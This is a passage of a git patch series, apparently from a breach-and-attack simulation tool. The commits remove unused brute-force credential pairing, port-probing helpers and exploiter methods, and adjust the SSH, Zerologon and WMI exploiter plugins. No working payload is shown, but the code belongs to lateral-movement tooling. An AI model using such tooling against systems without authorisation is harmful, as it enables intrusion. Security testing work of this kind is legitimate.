SERVERS = ["127.0.0.1:5000", "10.10.10.10:5007"] -@pytest.fixture -def get_credentials_for_propagation() -> Callable[..., Mapping[str, Sequence]]: - return MagicMock(return_value=CREDENTIALS_FOR_PROPAGATION) - - @pytest.fixture def run_exploiters( hosts_to_exploit, @@ -102,13 +97,12 @@ def run_exploiters( callback, scan_completed, stop, - get_credentials_for_propagation, ): def inner(puppet, num_workers, hosts=hosts_to_exploit, exploiter_config=exploiter_config): # Set this so that Exploiter() exits once it has processed all victims scan_completed.set() - e = Exploiter(puppet, num_workers, get_credentials_for_propagation) + e = Exploiter(puppet, num_workers) e.exploit_hosts(exploiter_config, hosts, 1, SERVERS, callback, scan_completed, stop) return inner @@ -145,7 +139,6 @@ def test_stop_after_callback( scan_completed, stop, hosts_to_exploit, - get_credentials_for_propagation, ): callback_barrier_count = 2 @@ -161,7 +154,7 @@ def _callback(*_): # Intentionally NOT setting scan_completed.set(); _callback() will set stop - e = Exploiter(MockPuppet(), callback_barrier_count + 2, get_credentials_for_propagation) + e = Exploiter(MockPuppet(), callback_barrier_count + 2) e.exploit_hosts( exploiter_config, hosts_to_exploit, 1, SERVERS, stoppable_callback, scan_completed, stop ) @@ -228,19 +221,3 @@ def test_callback_skipped_on_rejected_request(callback, run_exploiters, exploite run_exploiters(MockPuppet(), 1, q, exploiter_config) assert callback.call_count == 0 - - -@pytest.mark.parametrize( - "exploiter_config", - [ - {"FakeExploiter": {}}, - {"FakeExploiter2": {}}, - ], - indirect=True, -) -def test_exploit_hosts__does_not_retrieve_credentials_for_exploiter_plugins( - run_exploiters, get_credentials_for_propagation -): - run_exploiters(MagicMock(), 1) - - assert not get_credentials_for_propagation.called From 3c7ac3bfba5eaf8cea9f3cdadddfd0296494f859 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Jul 2023 10:16:07 -0400 Subject: [PATCH 06/15] Agent: Remove disused generate_identity_secret_pairs() --- monkey/infection_monkey/utils/brute_force.py | 15 ----------- .../utils/test_brute_force.py | 25 ------------------- 2 files changed, 40 deletions(-) delete mode 100644 monkey/infection_monkey/utils/brute_force.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py diff --git a/monkey/infection_monkey/utils/brute_force.py b/monkey/infection_monkey/utils/brute_force.py deleted file mode 100644 index f46df3905cb..00000000000 --- a/monkey/infection_monkey/utils/brute_force.py +++ /dev/null @@ -1,15 +0,0 @@ -from itertools import product -from typing import Any, Iterable, Tuple - - -def generate_identity_secret_pairs( - identities: Iterable, secrets: Iterable -) -> Iterable[Tuple[Any, Any]]: - """ - Generates all possible combinations of identities and secrets (e.g. usernames and passwords). - :param identities: An iterable containing identity components of a credential pair - :param secrets: An iterable containing secret components of a credential pair - :return: An iterable of all combinations of identity/secret pairs. If either identities or - secrets is empty, an empty iterator is returned. - """ - return product(identities, secrets) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py b/monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py deleted file mode 100644 index ef2ac966ade..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py +++ /dev/null @@ -1,25 +0,0 @@ -import pytest - -from infection_monkey.utils.brute_force import generate_identity_secret_pairs - -USERNAMES = ["shaggy", "scooby"] -PASSWORDS = ["1234", "iloveyou", "the_cake_is_a_lie"] -EXPECTED_USERNAME_PASSWORD_PAIRS = { - (USERNAMES[0], PASSWORDS[0]), - (USERNAMES[0], PASSWORDS[1]), - (USERNAMES[0], PASSWORDS[2]), - (USERNAMES[1], PASSWORDS[0]), - (USERNAMES[1], PASSWORDS[1]), - (USERNAMES[1], PASSWORDS[2]), -} - - -def test_generate_username_password_pairs(): - generated_pairs = generate_identity_secret_pairs(USERNAMES, PASSWORDS) - assert set(generated_pairs) == EXPECTED_USERNAME_PASSWORD_PAIRS - - -@pytest.mark.parametrize("usernames, passwords", [(USERNAMES, []), ([], PASSWORDS), ([], [])]) -def test_generate_username_password_pairs__empty_inputs(usernames, passwords): - generated_pairs = generate_identity_secret_pairs(usernames, passwords) - assert len(set(generated_pairs)) == 0 From 3ed23f949e6eb9db56e37d8703df8b6ecc8155ee Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Jul 2023 10:17:30 -0400 Subject: [PATCH 07/15] SSH Exploiter: Remove disused TRANSFER_UPDATE_RATE --- monkey/agent_plugins/exploiters/ssh/src/ssh_client.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/ssh/src/ssh_client.py b/monkey/agent_plugins/exploiters/ssh/src/ssh_client.py index e866d33bdc6..559cb87bb04 100644 --- a/monkey/agent_plugins/exploiters/ssh/src/ssh_client.py +++ b/monkey/agent_plugins/exploiters/ssh/src/ssh_client.py @@ -13,7 +13,6 @@ logger = logging.getLogger(__name__) -TRANSFER_UPDATE_RATE = 15 SSH_AUTH_TIMEOUT = LONG_REQUEST_TIMEOUT SSH_BANNER_TIMEOUT = MEDIUM_REQUEST_TIMEOUT SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT From 818e96346d564493af4d671934ab1335e1b1fff9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Jul 2023 10:21:46 -0400 Subject: [PATCH 08/15] Agent: Remove disused check_tcp_port() --- monkey/infection_monkey/network/tools.py | 36 ------------------------ 1 file changed, 36 deletions(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index b9b00c4566d..109082ee50c 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -1,9 +1,7 @@ import logging -import select import socket import struct import sys -from ipaddress import IPv4Address from typing import Optional from common.common_consts.timeouts import CONNECTION_TIMEOUT @@ -15,40 +13,6 @@ logger = logging.getLogger(__name__) -def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False): - """ - Checks if a given TCP port is open - :param ip: Target IP - :param port: Target Port - :param timeout: Timeout for socket connection - :param get_banner: if true, pulls first BANNER_READ bytes from the socket. - :return: Tuple, T/F + banner if requested. - """ - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(timeout) - - try: - sock.connect((str(ip), port)) - except socket.timeout: - return False, None - except socket.error as exc: - logger.debug("Check port: %s:%s, Exception: %s", ip, port, exc) - return False, None - - banner = None - - try: - if get_banner: - read_ready, _, _ = select.select([sock], [], [], timeout) - if len(read_ready) > 0: - banner = sock.recv(BANNER_READ).decode() - except socket.error: - pass - - sock.close() - return True, banner - - def get_interface_to_target(dst: str) -> Optional[str]: """ :param dst: destination IP address string without port. E.G. '192.168.1.1.' From 7d35d802229886db65b8ba39844e06e8736e4dcd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Jul 2023 10:24:49 -0400 Subject: [PATCH 09/15] Zerologon: Remove disused HostExploiter.add_{vuln_port,executed_cmd}() --- .../exploiters/zerologon/src/HostExploiter.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py b/monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py index fa79a3eb815..3837020000a 100644 --- a/monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py +++ b/monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py @@ -111,17 +111,6 @@ def _exploit_host(self) -> ExploiterResultData: def add_vuln_url(self, url): self.exploit_info["vulnerable_urls"].append(url) - def add_vuln_port(self, port): - self.exploit_info["vulnerable_ports"].append(port) - - def add_executed_cmd(self, cmd): - """ - Appends command to exploiter's info. - :param cmd: String of executed command. e.g. 'echo Example' - """ - powershell = True if "powershell" in cmd.lower() else False - self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) - def _publish_exploitation_event( self, time: float = time(), From c2ceff0fdb28cfd3fc15fd3d3ddceae55152ab16 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Jul 2023 10:28:18 -0400 Subject: [PATCH 10/15] Agent: Add a note about request_cache decorator --- .../propagation_credentials_repository.py | 3 +++ vulture_allowlist.py | 3 +++ 2 files changed, 6 insertions(+) diff --git a/monkey/infection_monkey/propagation_credentials_repository/propagation_credentials_repository.py b/monkey/infection_monkey/propagation_credentials_repository/propagation_credentials_repository.py index d591afc27e7..28d196553d1 100644 --- a/monkey/infection_monkey/propagation_credentials_repository/propagation_credentials_repository.py +++ b/monkey/infection_monkey/propagation_credentials_repository/propagation_credentials_repository.py @@ -43,6 +43,9 @@ def add_credentials(self, credentials_to_add: Iterable[Credentials]): def get_credentials(self) -> Iterable[Credentials]: # TODO: If we can't use a proxy object, consider contributing a multiprocessing-safe # implementation of EggTimer to clean this up. + # + # If we can use a proxy object, we should use + # infection_monkey.utils.decorators.request_cache to decorate this method. try: with self._lock: now = time.monotonic() diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 30cc115eed4..c9619484d4c 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -19,6 +19,7 @@ from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell from infection_monkey.network.firewall import FirewallApp, WinAdvFirewall, WinFirewall from infection_monkey.utils import commands +from infection_monkey.utils.decorators import request_cache from monkey_island.cc.deployment import Deployment from monkey_island.cc.models import IslandMode, Machine from monkey_island.cc.repositories import IAgentEventRepository, MongoAgentEventRepository @@ -158,3 +159,5 @@ commands.build_dropper_script_download_command commands.build_download_command_windows_powershell_webclient commands.build_download_command_windows_powershell_webrequest + +request_cache From 0cdaf3babcdd5d8ff8c5c3486b23c593c100a9db Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Jul 2023 10:29:45 -0400 Subject: [PATCH 11/15] Changelog: Add an entry for #3170 --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 14178a282bd..a4fb8832597 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Plugin source is now gzipped. #3392 - Allowed characters in Agent event tags. #3399 - Hard-coded Log4Shell exploiter to a plugin. #3388 +- Hard-coded SSH exploiter to a plugin. #3170 - Identities and secrets can be associated when configuring credentials in the UI. #3393 From 3d30c0e4af6c6e8ee39ac6758e580bf511d358d6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Jul 2023 10:42:50 -0400 Subject: [PATCH 12/15] Agent: Remove disused PropagationCredentials custom type --- monkey/infection_monkey/custom_types.py | 3 --- 1 file changed, 3 deletions(-) delete mode 100644 monkey/infection_monkey/custom_types.py diff --git a/monkey/infection_monkey/custom_types.py b/monkey/infection_monkey/custom_types.py deleted file mode 100644 index 6e1eab9aa8d..00000000000 --- a/monkey/infection_monkey/custom_types.py +++ /dev/null @@ -1,3 +0,0 @@ -from typing import Iterable, Mapping - -PropagationCredentials = Mapping[str, Iterable[str]] From e6a71743ffac2144b151ce58bb06b3968ef67219 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Jul 2023 11:33:45 -0400 Subject: [PATCH 13/15] Zerologon: Move FailedExploitationError to Zerologon plugin --- monkey/agent_plugins/exploiters/zerologon/manifest.yaml | 2 +- monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py | 2 +- .../exploiters/zerologon/src/zerologon_utils/exceptions.py | 3 ++- monkey/common/utils/exceptions.py | 2 -- 4 files changed, 4 insertions(+), 5 deletions(-) delete mode 100644 monkey/common/utils/exceptions.py diff --git a/monkey/agent_plugins/exploiters/zerologon/manifest.yaml b/monkey/agent_plugins/exploiters/zerologon/manifest.yaml index 8823f509ab3..90f1961c12a 100644 --- a/monkey/agent_plugins/exploiters/zerologon/manifest.yaml +++ b/monkey/agent_plugins/exploiters/zerologon/manifest.yaml @@ -6,7 +6,7 @@ supported_operating_systems: target_operating_systems: - windows title: Zerologon Exploiter -version: 1.0.1 +version: 1.0.2 description: >- Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows server domain controller (DC) by using the Netlogon Remote Protocol (MS-NRPC). diff --git a/monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py b/monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py index 3837020000a..6d421cfb699 100644 --- a/monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py +++ b/monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py @@ -7,10 +7,10 @@ from common.agent_events import ExploitationEvent, PropagationEvent from common.event_queue import IAgentEventPublisher from common.types import AgentID, Event -from common.utils.exceptions import FailedExploitationError from infection_monkey.i_puppet import ExploiterResultData, TargetHost from .zerologon_options import ZerologonOptions +from .zerologon_utils.exceptions import FailedExploitationError logger = logging.getLogger(__name__) diff --git a/monkey/agent_plugins/exploiters/zerologon/src/zerologon_utils/exceptions.py b/monkey/agent_plugins/exploiters/zerologon/src/zerologon_utils/exceptions.py index 06a2c96f995..d3464d345ea 100644 --- a/monkey/agent_plugins/exploiters/zerologon/src/zerologon_utils/exceptions.py +++ b/monkey/agent_plugins/exploiters/zerologon/src/zerologon_utils/exceptions.py @@ -1,4 +1,5 @@ -from common.utils.exceptions import FailedExploitationError +class FailedExploitationError(Exception): + """Raise when exploiter fails instead of returning False""" class DomainControllerNameFetchError(FailedExploitationError): diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py deleted file mode 100644 index 1f013414a2f..00000000000 --- a/monkey/common/utils/exceptions.py +++ /dev/null @@ -1,2 +0,0 @@ -class FailedExploitationError(Exception): - """Raise when exploiter fails instead of returning False""" From de4ba9d43eec6d6fddc9c43ba825d1cc27d0e8ca Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 7 Jul 2023 12:42:08 +0000 Subject: [PATCH 14/15] SSH Exploiter: Remove operating_system check from command_builder The puppet/master is deciding based on supported operating system if the plugin is going to be tried. --- .../exploiters/ssh/src/ssh_command_builder.py | 4 ---- .../ssh/test_ssh_command_builder.py | 21 +++++-------------- 2 files changed, 5 insertions(+), 20 deletions(-) diff --git a/monkey/agent_plugins/exploiters/ssh/src/ssh_command_builder.py b/monkey/agent_plugins/exploiters/ssh/src/ssh_command_builder.py index 5c2faef2a42..3c389114b8c 100644 --- a/monkey/agent_plugins/exploiters/ssh/src/ssh_command_builder.py +++ b/monkey/agent_plugins/exploiters/ssh/src/ssh_command_builder.py @@ -1,7 +1,6 @@ from pathlib import PurePath from typing import Sequence -from common import OperatingSystem from common.types import AgentID from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.i_puppet import TargetHost @@ -17,9 +16,6 @@ def build_ssh_command( remote_agent_binary_destination_path: PurePath, otp_provider: IAgentOTPProvider, ) -> str: - if target_host.operating_system != OperatingSystem.LINUX: - raise Exception(f"Unsupported operating system: {target_host.operating_system}") - otp = otp_provider.get_otp() cmdline_arguments = build_monkey_commandline_parameters( parent=agent_id, servers=servers, depth=current_depth + 1 diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_command_builder.py index ea891e0a7a1..4364e082f45 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_command_builder.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/ssh/test_ssh_command_builder.py @@ -1,4 +1,6 @@ +from ipaddress import IPv4Address from pathlib import PurePosixPath +from typing import Optional from unittest.mock import MagicMock import pytest @@ -24,22 +26,9 @@ def otp_provider() -> IAgentOTPProvider: return provider -def test_exception_raised_for_windows(otp_provider: IAgentOTPProvider): - target_host = TargetHost(ip="127.0.0.1", operating_system=OperatingSystem.WINDOWS) - - with pytest.raises(Exception): - build_ssh_command( - AGENT_ID, - target_host, - SERVERS, - DEPTH, - AGENT_EXE_PATH, - otp_provider, - ) - - -def test_command(otp_provider: IAgentOTPProvider): - target_host = TargetHost(ip="127.0.0.1", operating_system=OperatingSystem.LINUX) +@pytest.mark.parametrize("os", [OperatingSystem.LINUX, None]) +def test_command(otp_provider: IAgentOTPProvider, os: Optional[OperatingSystem]): + target_host = TargetHost(ip=IPv4Address("127.0.0.1"), operating_system=os) command = build_ssh_command( AGENT_ID, From 548d503e86f62760d1e4df83a5864e6fa2708634 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 7 Jul 2023 09:14:29 -0400 Subject: [PATCH 15/15] WMI: Bump version This plugin will now be built with a windows-specific vendor directory Fixes #3475 --- monkey/agent_plugins/exploiters/wmi/manifest.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/wmi/manifest.yaml b/monkey/agent_plugins/exploiters/wmi/manifest.yaml index f9853ebac39..e912114a1aa 100644 --- a/monkey/agent_plugins/exploiters/wmi/manifest.yaml +++ b/monkey/agent_plugins/exploiters/wmi/manifest.yaml @@ -6,7 +6,7 @@ supported_operating_systems: target_operating_systems: - windows title: WMI Exploiter -version: 1.0.1 +version: 1.0.2 description: Attempts a brute-force attack against WMI using known credentials. safe: true remediation_suggestion: >-